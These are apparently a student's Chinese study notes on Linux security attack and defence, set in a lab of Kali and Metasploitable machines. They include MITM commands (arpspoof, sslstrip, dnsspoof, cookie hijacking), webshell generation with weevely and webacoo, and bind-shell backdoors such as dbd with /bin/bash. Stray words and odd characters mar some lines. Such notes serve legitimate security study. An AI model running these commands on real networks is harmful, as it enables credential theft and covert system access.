本週主要學習教材第8章Linux操做系統安全攻防,瞭解Linux系統平臺上的主要攻擊技術,以及相應的防範措施。php
Linux優點:跨平臺的硬件支持、豐富的軟件支持、多用戶多任務、可靠的安全性、良好的穩定性、完善的網絡功能。java
Linux系統結構
linux
內核服務功能模塊:進程與線程管理機制、內存管理機制、文件系統管理機制、設備控制機制(字符設備、塊設備和網絡設備)、網絡機制、系統調用機制(軟件中斷實現)。web
一、Linux身份認證機制sql
用戶:Root根用戶、普通用戶、系統用戶。shell
用戶組:相同特徵的用戶帳號集合。express
本地登錄用戶認證機制:Linux系統最基本的用戶認證機制便是對用戶在控制檯登陸的認證過程,登陸login進程經過Crypt()函數來對用戶輸入的口令進行驗證。windows
遠程登陸用戶認證機制:SSH提供兩種方式的用戶身份認證機制,第一種方式爲基於口令的身份認證;第二種方式爲基於非對稱密鑰的身份認證。瀏覽器
統一身份認證中間件——PAM:支持四種管理界面:認證管理、帳戶管理、密碼管理、會話管理。安全
二、Linux受權與訪問控制機制
虛擬文件系統安全模型:文件全部者、文件訪問權限(R、W、X)和一些特殊權限位來進行系統的受權與訪問控制(SUID和SGID權限)。
不足及改進:只能將用戶分爲全部者、全部者所在組和其餘用戶這三種類別分配權限,而沒法作到更細粒度的權限控制。POSIX ACLs for Linux內核補丁軟件包可以幫助Linux內核實現ACL權限管理。
三、Linux安全審計機制
主要的日誌子系統:鏈接時間日誌、進程統計日誌、錯誤日誌記錄。
審計守護進程
一、遠程網絡上入侵Linux系統的主要方法:
對Linux系統各類網絡服務的身份認證過程所涉及的用戶口令字進行猜想攻擊。
發掘Linux系統某個監聽網絡服務的安全漏洞並進行利用,從而爲攻擊者提供本地Shell的訪問權。
經過網頁木馬、發送欺詐郵件、提供特洛伊木馬程序等技術和社會工程學手段。
在Linux系統做爲鏈接多個網絡的路由器,或者打開「混雜模式」實施網絡嗅探的監聽器時,可能遭受攻擊者特地構造的數據包攻擊,從而被攻擊者取得訪問權。
二、Linux遠程口令字猜解攻擊
針對SSH、telnet、FTP、HTTP等服務。
支持攻擊者進行自動化的遠程口令字猜想工具:Brutus(遠程口令猜解工具)、THC Hydra(網絡身份口令猜解工具)、Cain and Abel。
防範:使用強口令字;對於安全敏感的服務器,使用嚴格的口令字管理制度和措施;在非標準端口上運行易受攻擊的服務;口令猜想防護軟件(Denyhosts、blockhosts等)、防火牆IPTables。
三、Linux網絡服務遠程滲透攻擊
系統滲透最重要的攻擊渠道:對監聽網絡服務安全漏洞的滲透利用。
安全漏洞信息庫:CVE、Bugtraq、Security Focus、OSVDB。
針對linux系統網絡服務的遠程滲透攻擊
內核中網絡協議棧實現漏洞
LAMP Web網站構建解決方案中的網絡服務:Apache————HTTP/HTTPS;Mysql————WEB後臺數據存儲;PHP————應用程序
FTP(TCP 20/TCP 21)、Samba(TCP 445)等文件共享服務:FTP(ProFTPD、vs-ftpd)
電子郵件收發服務:Sendmail服務
其餘服務:OPENSSH、OPENSSL、NFS
防範措施:禁用沒必要要的服務、選擇安全的網絡協議和服務軟件、及時更新網絡服務版本、使用xinetd、防火牆爲linux網絡服務添加網絡訪問控制機制、創建入侵檢測與應急相應計劃流程。
四、攻擊linux客戶端程序和用戶
攻擊linux平臺上的用戶端程序:web瀏覽器firefox、電子郵件客戶端軟件thunderbird。
攻擊linux系統用戶:電子郵件、即時通訊中設計欺騙場景、服務配置信息的泄漏。
防範措施:軟件自動跟新機制、提升自身抗欺騙能力。
五、攻擊路由器和監聽器
攻擊路由器和防火牆:ip_forward=1
net子系統:route.c(路由器錄址和數據包轉發)、netfilter(配置防火牆)
攻擊監聽器和入侵檢測器(libpcap、tcpdump、wireshark、snort)
防範措施:意識到網絡和安全設備的安全性和可用性,身處攻擊者角度、掌握滲透測試工具
一、本地提權:破解出Root用戶的口令,而後執行su或者sudo命令進行提高;發掘並利用su或者sudo程序中的安全漏洞;攻擊用戶態SUID特權提高漏洞;攻擊Linux內核代碼特權提高漏洞;過從系統中搜索全局可寫的敏感文件與目錄位置並加以利用
利用sudo的缺陷進行權限提高
利用用戶態SUID程序漏洞進行特權提高
針對SUID程序的本地緩衝區溢出攻擊(Ettercap)
針對SUID程序的符號連接攻擊(Ncpfs——ncpmount)
針對SUID程序的競爭條件攻擊(Exim)
針對SUID程序的共享函數庫攻擊
利用內核空間代碼漏洞進行特權提高
二、用戶口令字破解:shadow文件中記錄行格式
登陸名、口令、最後一次修改時間、最小間隔時間、最大間隔時間、警告時間、不活動時間、失效時間。
工具:John the ripper
方式:字典攻擊、暴力破解
破解linux前提爲獲取到/etc/shadow文件
三、linux入侵消滅蹤影:改變當前活動日誌、清除登陸日誌(WZAP工具)、清除本身在shell程序中的輸入命令歷史
四、後門程序:特洛伊木馬化的系統程序(始終接受攻擊者所配置的帳戶登陸)、命令行後門工具、圖形化後門工具(VNC)
Social Enginnering Toolkit(SET)是一個開源、Python驅動的社會工程學滲透測試工具,提供了很是豐富的攻擊向量庫。是開源的社會工程學套件,一般結合metasploit來使用。漏洞工具集/social Engineering Toolkit/setoolkit
一、setoolkit
打開SET套件
菜單選項1是社會工程學攻擊,2是Fast-Track滲透測試,3是第三方模塊
二、輸入1回車,有11個模塊
1.魚叉式釣魚攻擊
2.網站攻擊
3.介質感染攻擊
4.建立Payload並監聽
5.羣發郵件攻擊
6.基於Arduino的攻擊
7.短信欺騙攻擊
8.無線接入點攻擊
9.二維碼攻擊
10.powershell攻擊
11.第三方模塊
三、魚叉式釣魚攻擊
此攻擊向量主要目的爲發送存在惡意軟件的釣魚郵件
相應的payload能夠選擇不一樣的漏洞。
四、網站攻擊框架
此時開放一個webServer服務,若是對方訪問此頁面,若系統存在漏洞觸發條件,則會被植入後門。
如Java Applet Attack 方法就須要目標有Java運行環境。爲了仿真,能夠選擇自建模版或克隆一個網站。
能夠複製一個網站,藉助內網的嗅探欺騙把域名劫持過來。
五、介質感染攻擊
藉助Autorun.inf執行Exploit獲得一個返回的shell,也能夠結合Metasploit的後門。
六、建立Payload和監聽器
七、羣發郵件攻擊
支持導入列表並向列表中的每一個人發送郵件
八、基於Arduino
主要針對硬件攻擊,是一個硬件模塊。
九、短信欺騙攻擊
僞造短消息發送給別人,欺騙短信來源。
十、無線接入點攻擊
無線接入點攻擊會建立一個虛擬無線AP,經過接入點ap能夠抓取全部鏈接進來的設備流量。
十一、二維碼攻擊
填入一個危險的URL,使得被攻擊者掃描二維碼自動訪問頁面中招
十二、PowerShell攻擊
針對Vista以上的PowerShell攻擊模塊
1三、Fast-Track攻擊模塊
Linux下的中間人攻擊套路是同樣的,主要進行ARP欺騙、DNS欺騙和嗅探以及會話劫持的方法。
一、爲Kali設置開啓端口轉發
echo 1 > /proc/sys/net/ipv4/ip_forward
二、設置ssltrip
爲了劫持SSL數據,須要https數據變爲http:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8081
讓sslrtip在8081端口監聽:
sslstrip -l 8081
三、ettercap的準備
ettercap是一套用於中間人攻擊的工具。和dsniff套件齊名。支持插件和過濾腳本,直接將帳號、密碼顯示出來,不用人工提取數據。若是是第一次中間人攻擊操做,那麼要對kali下的etteracp作點配置。
四、ettercap使用
打開ettercap,選擇sniff選項-unified sniffing-選擇網卡-hosts選項:先scan for hosts,等掃描完了選host list。
五、Dsniff套裝介紹
Dsniff套裝主要是arpspoof和dsniff,前者用來進行arp欺騙,後者用於嗅探。進行攻擊步驟以下:
進行arp欺騙:
arpspoof [-i interface(網卡)] [-c own|host|both(欺騙方式,一般是both)] [-t target(目標)] [-r] host(網關)
進行嗅探:
dsniff [-cdmn] [-i interface | -p pcapfile] [-s snaplen] [-f services] [-t trigger[,...]] [-r|-w savefile] [expression]
-c打開半雙工TCP流,容許在使用arpspoof時進行正確的嗅探操做;
-d啓動調試模式;
-f以/etc/service格式從文件中加載觸發器(也就是口令嗅探的服務類型);
-I使用特定的網絡接口;
-m使用dsniff.magic文件經過在magic文件中定義的特徵嘗試自動判斷協議;
-n不執行主機查找;
-r從前面保存的會話中讀取被嗅探的數據;
-s最多對報文的前個字節進行嗅探,若是用戶名和口令信息包含在隨後的默認1024字節界限中;
-t使用格式port/proto=servise;來加載一個以逗號界定的觸發器集;
六、會話劫持
這裏主要以cookies進行舉例,說明會話劫持的用法。
開始arp欺騙;
arpspoof -i wlan0 -t 192.168.1.1 192.168.1.102
捕獲數據報:
tcpdump -i wlan -w test.cap
等一段時間,估計目標會登陸網站了,咱們開始處理捕獲的數據包:
forret -r test.cap
若是捕獲的數據包沒什麼問題,並且肯定開啓了端口轉發,那麼通過處理的數據包會自動生成hamster.txt
接下來運行hamster hamster
會提示瀏覽器設置代理爲http://127.0.0.1:1234
接着在瀏覽器中代開hamster:
http://hamster
選擇目標和可能的登陸認證地址,而後點擊連接會發現劫持成功。
七、圖片截獲
利用Driftnet這款工具咱們能夠看到受害人在訪問網站的圖片。
首先依然使用arpspoof啓動arp欺騙,而後啓動driftnet:
driftent -i
此時彈出一個小窗口,當目標訪問有圖片的網站的時候,攻擊者就能在這個小窗口看到。
八、DNS欺騙
利用Dsniff套裝中的dnsspoof或者ettercap的dnsspoof插件,咱們能夠完成對受害者的dns欺騙。
在開始欺騙前,首先咱們要編輯一個本身的hosts文件,放在方便訪問的地方。內容和本機自帶的hosts內容差很少,只是把你想欺騙的域名和想要欺騙到哪裏的地址寫好(一般是攻擊者指定的服務器,用來執行瀏覽器溢出或者java applet攻擊,用來獲取受害者的計算機訪問權限)
host文件:
127.0.0.1 www.baidu.com
上面是一個hosts文件示例,把百度定向到了本機。咱們把它保存成hosts,位於/root目錄下。
而後啓動dnsspoof:
dnsspoof -i wlan0 -f /root/hosts
等受害者訪問百度觀察效果。
九、URL監控
利用Dsniff套裝中的urlsnarf工具,咱們對TCP80、312八、8080端口的HTTP通訊進行解析,而且能夠將嗅探到的全部HTTP請求轉存爲通用日誌格式(Common Log Format,CLF),這種格式是許多Web服務器所使用的,例如IIS和Apache,過後能夠很方便的使用一些日誌分析工具來分析記錄結果。
Usage:urlsnarf [-n] [-i interface | -p pcapfile] [[-v] pattern [expression]]
十、下載軟件監控
利用Dsniff套裝中的filesnarf工具,咱們能夠從嗅探到的NFS通訊中,選定某個文件,轉存到本地當前工做目錄。
Ussage:filesnarf [-i interface | -p pcapfile] [[-v] pattern [expression]]
權限維持包含Tunnel工具集、Web後門、系統後門三個子類。其中系統後門與Web後門統稱爲後門,都是爲滲透測試後,爲方便再次進入系統而留下的惡意程序。
-Weevely
Web後門
Weevely是一款使用pythoon編寫的webshell工具(集webshell生成和鏈接於一身,僅限於安全學習教學之用,禁止非法用途),能夠算做是linux下的一款菜刀替代工具(限於php),某些模塊在windows上沒法使用。
生成一個php後門,test爲密碼,在本地生成~/1.php
後門上傳到web,使用weevely鏈接
查看目標機ip
nano 1.php 複製生成文件內容到其中
使用命令weevely http://192.168.119.128/1.php test
進行鏈接
WeBaCoo
(Web Backdoor Cookie)script-kit是一個小巧的、隱蔽的php後門,它提供了一個能夠鏈接遠程web服務器並執行php代碼的終端。WebaCoo使用HTTP響應頭傳送命令結果,shell命令經base64編碼後隱藏在Cookie中。上傳到網站後,使用webacoo鏈接:
·webacoo -t -u http://192.168.119.128/2.php·
經過加入:執行本地命令,不加則藉助webshell執行命令。
Cymothoa
系統後門
cymothoa -跑10500 -s -0 -y 2333 (注入2333端口),若是成功,能夠鏈接2333端口返回一個shell
dbd
理解爲加密版的nc
監聽端:dbd -l -p 2333 -e /bin/bash -k password
攻擊端:dbd 127.0.0.1 2333 -k password
sbd
和dbd
用法相同
U3-Pwn
與Metasploit Payload結合使用的工具,菜單能夠單刀多針對移動光驅設備如光驅鏡像,u盤等。
Intersect
列出可使用的模塊
建立腳本
自由添加功能組件,生成一個shell
將生成的py文件拖出
mv /usr/share/intersect/Scripts/shell.py ~/1.py
執行後門,在目標機上執行 1.py -b,則生成一個bind shell後門,若是以前設置好remote host和remote port,也能夠設置爲reverse shell
此時鏈接後門端口成功,返回shell:
一、環境搭建
環境構成
攻擊機:kali(linux),Windows XP Attacker(Windows)
靶機:Metasploitable(linux),VM_Metasploitable_xpsp1 (Windows)
Linux
Windows
Linux
Windows
二、連通性測試
Linux攻擊機ping靶機
Windows攻擊機ping靶機
一、linux中,more和less用來分頁查看文件內容。
二、Metasploit後滲透測試添加路由表的命令是:run autoroute -s 10.0.0.1
三、在windows中能夠進行遠程控制的是ntecat和meterpreter
四、Windows安全控制中心的功能包括防火牆和病毒防禦
五、Windows的TDI傳輸層對應OSI網絡層與傳輸層
六、Windows的NTFS文件系統基於ACL來保證文件資源讀/寫的安全性
七、32位Windows系統的系統核心內存區間是2G-4G